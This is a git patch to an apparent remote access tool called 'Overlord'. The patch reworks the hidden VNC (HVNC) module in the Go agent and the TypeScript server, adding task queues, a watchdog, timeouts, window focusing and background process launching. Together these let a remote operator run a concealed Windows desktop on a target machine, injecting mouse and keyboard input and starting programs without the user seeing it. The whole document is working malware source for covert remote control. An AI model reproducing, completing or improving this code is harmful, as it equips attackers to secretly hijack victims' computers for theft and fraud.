From 59da5508b2e0f9c1b342298686fe09d20be00631 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 9 Mar 2026 19:16:13 -0500 Subject: [PATCH] hvnc shit --- .../cmd/agent/capture/hvnc_windows.go | 342 ++++++++++++++---- Overlord-Client/cmd/agent/handlers/command.go | 148 ++++++-- .../src/server/ws-console-rd-hvnc.ts | 12 +- 3 files changed, 404 insertions(+), 98 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index fe2cf01..5ffa424 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -7,6 +7,7 @@ import ( "image" "log" "runtime" + "strings" "sync" "sync/atomic" "syscall" @@ -35,12 +36,13 @@ var ( procWindowFromPoint = user32.NewProc("WindowFromPoint") procScreenToClient = user32.NewProc("ScreenToClient") procPostMessageW = user32.NewProc("PostMessageW") - procSendMessageW = user32.NewProc("SendMessageW") + procSendMessageTimeoutW = user32.NewProc("SendMessageTimeoutW") procSetWindowPos = user32.NewProc("SetWindowPos") procSetForegroundWindow = user32.NewProc("SetForegroundWindow") procSetActiveWindow = user32.NewProc("SetActiveWindow") procSetFocus = user32.NewProc("SetFocus") procGetForegroundWindow = user32.NewProc("GetForegroundWindow") + procGetAncestor = user32.NewProc("GetAncestor") procMapVirtualKeyW = user32.NewProc("MapVirtualKeyW") procToUnicode = user32.NewProc("ToUnicode") ) @@ -111,6 +113,7 @@ const ( MK_MBUTTON = 0x0010 WHEEL_DELTA = 120 HTCAPTION = 2 + HTCLIENT = 1 HTCLOSE = 20 HTMINBUTTON = 8 HTMAXBUTTON = 9 @@ -122,6 +125,8 @@ const ( HTBOTTOM = 15 HTBOTTOMLEFT = 16 HTBOTTOMRIGHT = 17 + GA_ROOT = 2 + SMTO_ABORTIFHUNG = 0x0002 ) var ( @@ -135,6 +140,7 @@ var ( hvncThreadErr error hvncThreadReady chan struct{} hvncThreadTasks chan hvncTask + hvncWatchdogOnce sync.Once hvncNoWindowLogNs atomic.Int64 hvncInputMu sync.Mutex hvncLastCursor point @@ -149,6 +155,11 @@ var ( hvncWindowSize point hvncWindowToMove uintptr hvncMouseButtons uint32 + hvncPendingActivate uintptr + hvncTaskSeq atomic.Uint64 + hvncCurrentTaskID atomic.Uint64 + hvncCurrentTaskKind atomic.Int64 + hvncCurrentTaskNs atomic.Int64 ) type hvncTaskKind int @@ -166,6 +177,7 @@ const ( type hvncTask struct { kind hvncTaskKind + id uint64 display int filePath string x int32 @@ -173,6 +185,7 @@ type hvncTask struct { button int vk uint16 delta int32 + queuedAt time.Time resp chan hvncTaskResult } @@ -324,6 +337,7 @@ func CleanupHVNCDesktop() { hvncThreadReady = nil hvncThreadErr = nil hvncThreadOnce = sync.Once{} + hvncWatchdogOnce = sync.Once{} } func SetHVNCCursorCapture(enabled bool) { @@ -358,6 +372,9 @@ func ensureHVNCThread() error { hvncThreadOnce.Do(func() { hvncThreadReady = make(chan struct{}) hvncThreadTasks = make(chan hvncTask) + hvncWatchdogOnce.Do(func() { + go hvncThreadWatchdog() + }) go func(handle uintptr) { defer recoverAndLog("hvnc desktop thread", nil) runtime.LockOSThread() @@ -375,32 +392,48 @@ func ensureHVNCThread() error { close(hvncThreadReady) for task := range hvncThreadTasks { + start := time.Now() + hvncCurrentTaskID.Store(task.id) + hvncCurrentTaskKind.Store(int64(task.kind)) + hvncCurrentTaskNs.Store(start.UnixNano()) + + if shouldTraceHVNCTask(task.kind) { + log.Printf("hvnc task: start id=%d kind=%s queued=%s details=%s", task.id, hvncTaskKindName(task.kind), start.Sub(task.queuedAt).Round(time.Millisecond), hvncTaskDetails(task)) + } + + var result hvncTaskResult switch task.kind { case hvncTaskStartProcess: - err := startHVNCProcessOnThread(task.filePath) - task.resp <- hvncTaskResult{nil, err} + result.err = startHVNCProcessOnThread(task.filePath) case hvncTaskMouseMove: - err := hvncMouseMoveOnThread(task.display, task.x, task.y) - task.resp <- hvncTaskResult{nil, err} + result.err = hvncMouseMoveOnThread(task.display, task.x, task.y) case hvncTaskMouseDown: - err := hvncMouseButtonOnThread(task.button, true) - task.resp <- hvncTaskResult{nil, err} + result.err = hvncMouseButtonOnThread(task.button, true) case hvncTaskMouseUp: - err := hvncMouseButtonOnThread(task.button, false) - task.resp <- hvncTaskResult{nil, err} + result.err = hvncMouseButtonOnThread(task.button, false) case hvncTaskKeyDown: - err := hvncKeyOnThread(task.vk, true) - task.resp <- hvncTaskResult{nil, err} + result.err = hvncKeyOnThread(task.vk, true) case hvncTaskKeyUp: - err := hvncKeyOnThread(task.vk, false) - task.resp <- hvncTaskResult{nil, err} + result.err = hvncKeyOnThread(task.vk, false) case hvncTaskMouseWheel: - err := hvncMouseWheelOnThread(task.delta) - task.resp <- hvncTaskResult{nil, err} + result.err = hvncMouseWheelOnThread(task.delta) default: - img, err := hvncCaptureDisplayOnThread(task.display) - task.resp <- hvncTaskResult{img, err} + result.img, result.err = hvncCaptureDisplayOnThread(task.display) } + + dur := time.Since(start) + if shouldTraceHVNCTask(task.kind) || dur > 400*time.Millisecond { + if result.err != nil { + log.Printf("hvnc task: done id=%d kind=%s dur=%s err=%v", task.id, hvncTaskKindName(task.kind), dur.Round(time.Millisecond), result.err) + } else { + log.Printf("hvnc task: done id=%d kind=%s dur=%s", task.id, hvncTaskKindName(task.kind), dur.Round(time.Millisecond)) + } + } + + hvncCurrentTaskNs.Store(0) + hvncCurrentTaskKind.Store(-1) + hvncCurrentTaskID.Store(0) + task.resp <- result } }(desktopHandle) }) @@ -427,75 +460,164 @@ func StartHVNCProcess(filePath string) error { if filePath == "" { return fmt.Errorf("empty file path") } - if err := ensureHVNCThread(); err != nil { + result, err := executeHVNCTask(hvncTask{ + kind: hvncTaskStartProcess, + filePath: strings.TrimSpace(filePath), + }, 10*time.Second) + if err != nil { return err } - resp := make(chan hvncTaskResult, 1) - hvncThreadTasks <- hvncTask{kind: hvncTaskStartProcess, filePath: filePath, resp: resp} - result := <-resp return result.err } func HVNCInputMouseMove(display int, x, y int32) error { - if err := ensureHVNCThread(); err != nil { + result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y}, 3*time.Second) + if err != nil { return err } - resp := make(chan hvncTaskResult, 1) - hvncThreadTasks <- hvncTask{kind: hvncTaskMouseMove, display: display, x: x, y: y, resp: resp} - result := <-resp return result.err } func HVNCInputMouseDown(button int) error { - if err := ensureHVNCThread(); err != nil { + result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseDown, button: button}, 3*time.Second) + if err != nil { return err } - resp := make(chan hvncTaskResult, 1) - hvncThreadTasks <- hvncTask{kind: hvncTaskMouseDown, button: button, resp: resp} - result := <-resp return result.err } func HVNCInputMouseUp(button int) error { - if err := ensureHVNCThread(); err != nil { + result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseUp, button: button}, 3*time.Second) + if err != nil { return err } - resp := make(chan hvncTaskResult, 1) - hvncThreadTasks <- hvncTask{kind: hvncTaskMouseUp, button: button, resp: resp} - result := <-resp return result.err } func HVNCInputKeyDown(vk uint16) error { - if err := ensureHVNCThread(); err != nil { + result, err := executeHVNCTask(hvncTask{kind: hvncTaskKeyDown, vk: vk}, 3*time.Second) + if err != nil { return err } - resp := make(chan hvncTaskResult, 1) - hvncThreadTasks <- hvncTask{kind: hvncTaskKeyDown, vk: vk, resp: resp} - result := <-resp return result.err } func HVNCInputKeyUp(vk uint16) error { - if err := ensureHVNCThread(); err != nil { + result, err := executeHVNCTask(hvncTask{kind: hvncTaskKeyUp, vk: vk}, 3*time.Second) + if err != nil { return err } - resp := make(chan hvncTaskResult, 1) - hvncThreadTasks <- hvncTask{kind: hvncTaskKeyUp, vk: vk, resp: resp} - result := <-resp return result.err } func HVNCInputMouseWheel(delta int32) error { - if err := ensureHVNCThread(); err != nil { + result, err := executeHVNCTask(hvncTask{kind: hvncTaskMouseWheel, delta: delta}, 3*time.Second) + if err != nil { return err } - resp := make(chan hvncTaskResult, 1) - hvncThreadTasks <- hvncTask{kind: hvncTaskMouseWheel, delta: delta, resp: resp} - result := <-resp return result.err } +func executeHVNCTask(task hvncTask, timeout time.Duration) (hvncTaskResult, error) { + if err := ensureHVNCThread(); err != nil { + return hvncTaskResult{}, err + } + if hvncThreadTasks == nil { + return hvncTaskResult{}, fmt.Errorf("hvnc thread not available") + } + if timeout <= 0 { + timeout = 3 * time.Second + } + + task.resp = make(chan hvncTaskResult, 1) + task.id = hvncTaskSeq.Add(1) + task.queuedAt = time.Now() + timer := time.NewTimer(timeout) + defer timer.Stop() + + select { + case hvncThreadTasks <- task: + case <-timer.C: + log.Printf("hvnc input: task enqueue timeout id=%d kind=%s timeout=%s", task.id, hvncTaskKindName(task.kind), timeout) + return hvncTaskResult{}, fmt.Errorf("hvnc task queue timed out") + } + + select { + case result := <-task.resp: + return result, nil + case <-timer.C: + log.Printf("hvnc input: task execution timeout id=%d kind=%s timeout=%s", task.id, hvncTaskKindName(task.kind), timeout) + return hvncTaskResult{}, fmt.Errorf("hvnc task execution timed out") + } +} + +func hvncThreadWatchdog() { + ticker := time.NewTicker(2 * time.Second) + defer ticker.Stop() + for range ticker.C { + id := hvncCurrentTaskID.Load() + if id == 0 { + continue + } + startNs := hvncCurrentTaskNs.Load() + if startNs == 0 { + continue + } + running := time.Since(time.Unix(0, startNs)) + if running >= 2*time.Second { + kind := hvncTaskKindName(hvncTaskKind(hvncCurrentTaskKind.Load())) + log.Printf("hvnc watchdog: thread appears stuck id=%d kind=%s running=%s", id, kind, running.Round(time.Millisecond)) + } + } +} + +func shouldTraceHVNCTask(kind hvncTaskKind) bool { + switch kind { + case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess: + return true + default: + return false + } +} + +func hvncTaskKindName(kind hvncTaskKind) string { + switch kind { + case hvncTaskCapture: + return "capture" + case hvncTaskStartProcess: + return "start_process" + case hvncTaskMouseMove: + return "mouse_move" + case hvncTaskMouseDown: + return "mouse_down" + case hvncTaskMouseUp: + return "mouse_up" + case hvncTaskKeyDown: + return "key_down" + case hvncTaskKeyUp: + return "key_up" + case hvncTaskMouseWheel: + return "mouse_wheel" + default: + return fmt.Sprintf("unknown(%d)", kind) + } +} + +func hvncTaskDetails(task hvncTask) string { + switch task.kind { + case hvncTaskMouseDown, hvncTaskMouseUp: + return fmt.Sprintf("button=%d", task.button) + case hvncTaskKeyDown, hvncTaskKeyUp: + return fmt.Sprintf("vk=%d", task.vk) + case hvncTaskMouseWheel: + return fmt.Sprintf("delta=%d", task.delta) + case hvncTaskStartProcess: + return fmt.Sprintf("cmd=%q", task.filePath) + default: + return "" + } +} + func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { captureMu.Lock() defer captureMu.Unlock() @@ -666,31 +788,49 @@ func hvncMouseMoveOnThread(display int, x, y int32) error { moveHVNCWindowIfDragging(point{x: int32(absX), y: int32(absY)}) pt := point{x: int32(absX), y: int32(absY)} - hwnd := windowFromPoint(pt) - if hwnd != 0 { - setWorkingWindow(hwnd) + hitHwnd := windowFromPoint(pt) + if hitHwnd != 0 { + rootHwnd := rootWindow(hitHwnd) + if rootHwnd != 0 { + rememberWorkingWindow(rootHwnd) + } else { + rememberWorkingWindow(hitHwnd) + } clientPt := pt - procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt))) - postMouseMessage(hwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt) + procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt))) + postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt) } return nil } func hvncMouseButtonOnThread(button int, down bool) error { pt := currentHVNCCursor() - hwnd := windowFromPoint(pt) - if hwnd == 0 { + hitHwnd := windowFromPoint(pt) + if hitHwnd == 0 { return nil } - setWorkingWindow(hwnd) + rootHwnd := rootWindow(hitHwnd) + if rootHwnd == 0 { + rootHwnd = hitHwnd + } + rememberWorkingWindow(rootHwnd) if button == 0 { - handleNonClientHit(hwnd, pt, down) + if down { + setPendingActivation(rootHwnd) + } else { + if pending := consumePendingActivation(); pending != 0 && pending != rootHwnd { + rootHwnd = pending + } + } + } + if button == 0 { + handleNonClientHit(rootHwnd, pt, down) } if button == 0 && !down { endHVNCWindowDrag(pt) } clientPt := pt - procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt))) + procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt))) var msg uint32 var wparam uintptr @@ -723,21 +863,28 @@ func hvncMouseButtonOnThread(button int, down bool) error { return nil } - postMouseMessage(hwnd, msg, wparam, clientPt) + postMouseMessage(hitHwnd, msg, wparam, clientPt) + + // Activate on left-button release after posting click so transient popups remain interactable while hovering. + if button == 0 && !down && rootHwnd != 0 { + setWorkingWindow(rootHwnd) + } return nil } func hvncKeyOnThread(vk uint16, down bool) error { - hwnd := getWorkingWindow() + pt := currentHVNCCursor() + hwnd := windowFromPoint(pt) if hwnd == 0 { - pt := currentHVNCCursor() - hwnd = windowFromPoint(pt) - if hwnd == 0 { - return nil - } - setWorkingWindow(hwnd) + hwnd = foregroundWindow() } - setWorkingWindow(hwnd) + if hwnd == 0 { + hwnd = getWorkingWindow() + } + if hwnd == 0 { + return nil + } + rememberWorkingWindow(rootWindow(hwnd)) updateModifierState(vk, down) if isModifierVK(vk) { @@ -758,6 +905,11 @@ func hvncKeyOnThread(vk uint16, down bool) error { return nil } +func foregroundWindow() uintptr { + r, _, _ := procGetForegroundWindow.Call() + return r +} + func makeLParam(x, y int32) uintptr { return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF)) } @@ -767,16 +919,34 @@ func windowFromPoint(pt point) uintptr { return ret } +func rootWindow(hwnd uintptr) uintptr { + if hwnd == 0 { + return 0 + } + r, _, _ := procGetAncestor.Call(hwnd, GA_ROOT) + if r == 0 { + return hwnd + } + return r +} + func setWorkingWindow(hwnd uintptr) { + if hwnd == 0 { + return + } + rememberWorkingWindow(hwnd) + procSetForegroundWindow.Call(hwnd) + procSetActiveWindow.Call(hwnd) + procSetFocus.Call(hwnd) +} + +func rememberWorkingWindow(hwnd uintptr) { if hwnd == 0 { return } hvncInputMu.Lock() hvncWorkingWindow = hwnd hvncInputMu.Unlock() - procSetForegroundWindow.Call(hwnd) - procSetActiveWindow.Call(hwnd) - procSetFocus.Call(hwnd) } func getWorkingWindow() uintptr { @@ -802,6 +972,20 @@ func postMouseMessage(hwnd uintptr, msg uint32, wparam uintptr, pt point) { procPostMessageW.Call(hwnd, uintptr(msg), wparam, makeLParam(pt.x, pt.y)) } +func setPendingActivation(hwnd uintptr) { + hvncInputMu.Lock() + hvncPendingActivate = hwnd + hvncInputMu.Unlock() +} + +func consumePendingActivation() uintptr { + hvncInputMu.Lock() + defer hvncInputMu.Unlock() + hwnd := hvncPendingActivate + hvncPendingActivate = 0 + return hwnd +} + func postKeyMessage(hwnd uintptr, msg uint32, vk uint16) { scan := mapVirtualKey(uint32(vk)) lparam := uintptr(1 | (scan << 16)) @@ -867,8 +1051,10 @@ func virtualKeyToChars(vk uint16) []rune { func handleNonClientHit(hwnd uintptr, screenPt point, down bool) { lparam := makeLParam(screenPt.x, screenPt.y) - hit, _, _ := procSendMessageW.Call(hwnd, WM_NCHITTEST, 0, lparam) - hitTest := int32(hit) + hitTest := safeNCHitTest(hwnd, lparam) + if hitTest == HTCLIENT || hitTest == 0 { + return + } if hitTest == HTCLOSE && !down { procPostMessageW.Call(hwnd, WM_CLOSE, 0, 0) @@ -901,6 +1087,24 @@ func handleNonClientHit(hwnd uintptr, screenPt point, down bool) { } } +func safeNCHitTest(hwnd uintptr, lparam uintptr) int32 { + const timeoutMs = 75 + var result uintptr + r, _, _ := procSendMessageTimeoutW.Call( + hwnd, + WM_NCHITTEST, + 0, + lparam, + SMTO_ABORTIFHUNG, + timeoutMs, + uintptr(unsafe.Pointer(&result)), + ) + if r == 0 { + return 0 + } + return int32(result) +} + func moveHVNCWindowIfDragging(screenPt point) { hvncInputMu.Lock() moving := hvncMovingWindow diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 823a417..e387e3d 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -10,6 +10,7 @@ import ( "strconv" "strings" "sync" + "sync/atomic" "time" "overlord-client/cmd/agent/audio" @@ -28,8 +29,32 @@ var ( activeCommandsMu sync.Mutex voiceSessionMu sync.Mutex voiceSession *voiceRuntime + hvncInputOnce sync.Once + hvncInputQueue chan hvncInputEvent + hvncInputDropped atomic.Uint64 ) +type hvncInputKind int + +const ( + hvncInputMouseMove hvncInputKind = iota + hvncInputMouseDown + hvncInputMouseUp + hvncInputMouseWheel + hvncInputKeyDown + hvncInputKeyUp +) + +type hvncInputEvent struct { + kind hvncInputKind + display int + x int32 + y int32 + button int + delta int32 + vk uint16 +} + type voiceRuntime struct { sessionID string cancel context.CancelFunc @@ -132,6 +157,87 @@ func waitStreamStop(done <-chan struct{}, name string) { } } +func ensureHVNCInputWorker() { + hvncInputOnce.Do(func() { + hvncInputQueue = make(chan hvncInputEvent, 1024) + goSafe("hvnc input worker", nil, func() { + for ev := range hvncInputQueue { + switch ev.kind { + case hvncInputMouseMove: + if err := capture.HVNCInputMouseMove(ev.display, ev.x, ev.y); err != nil { + log.Printf("hvnc input worker: mouse_move failed: %v", err) + } + case hvncInputMouseDown: + if ev.x != 0 || ev.y != 0 { + _ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y) + } + if err := capture.HVNCInputMouseDown(ev.button); err != nil { + log.Printf("hvnc input worker: mouse_down failed: %v", err) + } + case hvncInputMouseUp: + if ev.x != 0 || ev.y != 0 { + _ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y) + } + if err := capture.HVNCInputMouseUp(ev.button); err != nil { + log.Printf("hvnc input worker: mouse_up failed: %v", err) + } + case hvncInputMouseWheel: + if ev.x != 0 || ev.y != 0 { + _ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y) + } + if err := capture.HVNCInputMouseWheel(ev.delta); err != nil { + log.Printf("hvnc input worker: mouse_wheel failed: %v", err) + } + case hvncInputKeyDown: + if err := capture.HVNCInputKeyDown(ev.vk); err != nil { + log.Printf("hvnc input worker: key_down vk=%d failed: %v", ev.vk, err) + } + case hvncInputKeyUp: + if err := capture.HVNCInputKeyUp(ev.vk); err != nil { + log.Printf("hvnc input worker: key_up vk=%d failed: %v", ev.vk, err) + } + } + } + }) + }) +} + +func enqueueHVNCInput(ev hvncInputEvent) { + ensureHVNCInputWorker() + select { + case hvncInputQueue <- ev: + return + default: + if ev.kind == hvncInputMouseMove { + dropped := hvncInputDropped.Add(1) + if dropped%100 == 1 { + log.Printf("hvnc input queue: dropping mouse_move events dropped=%d", dropped) + } + return + } + t := time.NewTimer(200 * time.Millisecond) + defer t.Stop() + select { + case hvncInputQueue <- ev: + case <-t.C: + log.Printf("hvnc input queue: enqueue timeout kind=%d", ev.kind) + } + } +} + +func clearHVNCInputQueue() { + if hvncInputQueue == nil { + return + } + for { + select { + case <-hvncInputQueue: + default: + return + } + } +} + func payloadAsMap(payload interface{}) map[string]interface{} { switch v := payload.(type) { case map[string]interface{}: @@ -685,6 +791,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in case "hvnc_stop": env.HVNCMu.Lock() log.Printf("hvnc: stop requested") + env.HVNCMouseControl = false + env.HVNCKeyboardControl = false + env.HVNCCursorCapture = false + clearHVNCInputQueue() if env.HVNCCancel != nil { env.HVNCCancel() } @@ -832,9 +942,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in y = int32(v) } } - log.Printf("hvnc: mouse move %d,%d", x, y) - _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y) - sendCommandResultSafe(env, cmdID, true, "") + enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y}) return nil case "hvnc_mouse_down": if !env.HVNCMouseControl { @@ -925,11 +1033,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } log.Printf("hvnc: mouse down %d", btn) - if x != 0 || y != 0 { - _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y) - } - _ = capture.HVNCInputMouseDown(btn) - sendCommandResultSafe(env, cmdID, true, "") + enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y}) return nil case "hvnc_mouse_up": if !env.HVNCMouseControl { @@ -1020,11 +1124,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } log.Printf("hvnc: mouse up %d", btn) - if x != 0 || y != 0 { - _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y) - } - _ = capture.HVNCInputMouseUp(btn) - sendCommandResultSafe(env, cmdID, true, "") + enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y}) return nil case "hvnc_mouse_wheel": if !env.HVNCMouseControl { @@ -1114,11 +1214,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in y = int32(v) } } - if x != 0 || y != 0 { - _ = capture.HVNCInputMouseMove(env.HVNCSelectedDisplay, x, y) - } - _ = capture.HVNCInputMouseWheel(delta) - sendCommandResultSafe(env, cmdID, true, "") + enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y}) return nil case "hvnc_key_down": if !env.HVNCKeyboardControl { @@ -1134,9 +1230,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } if vk := keyCodeToVKHVNC(code); vk != 0 { log.Printf("hvnc: key down code=%s vk=%d", code, vk) - _ = capture.HVNCInputKeyDown(vk) + enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk}) } - sendCommandResultSafe(env, cmdID, true, "") return nil case "hvnc_key_up": if !env.HVNCKeyboardControl { @@ -1152,9 +1247,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } if vk := keyCodeToVKHVNC(code); vk != 0 { log.Printf("hvnc: key up code=%s vk=%d", code, vk) - _ = capture.HVNCInputKeyUp(vk) + enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk}) } - sendCommandResultSafe(env, cmdID, true, "") return nil case "hvnc_start_process": payload, _ := envelope["payload"].(map[string]interface{}) @@ -1165,12 +1259,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in } } log.Printf("hvnc: start process %q", filePath) - err := capture.StartHVNCProcess(filePath) - if err != nil { - sendCommandResultSafe(env, cmdID, false, err.Error()) - return nil - } sendCommandResultSafe(env, cmdID, true, "") + goSafe("hvnc_start_process", nil, func() { + if err := capture.StartHVNCProcess(filePath); err != nil { + log.Printf("hvnc: start process failed for %q: %v", filePath, err) + } + }) return nil case "webcam_start": diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 303e9dc..8e1bee2 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -562,10 +562,18 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_move", { x: Number(payload.x) || 0, y: Number(payload.y) || 0 }); break; case "hvnc_mouse_down": - if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", { button: Number(payload.button) || 0 }); + if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_down", { + button: Number(payload.button) || 0, + x: Number(payload.x) || 0, + y: Number(payload.y) || 0, + }); break; case "hvnc_mouse_up": - if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", { button: Number(payload.button) || 0 }); + if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_up", { + button: Number(payload.button) || 0, + x: Number(payload.x) || 0, + y: Number(payload.y) || 0, + }); break; case "hvnc_mouse_wheel": if (state.isStreaming) sendHVNCCommand(target, "hvnc_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number(payload.x) || 0, y: Number(payload.y) || 0 });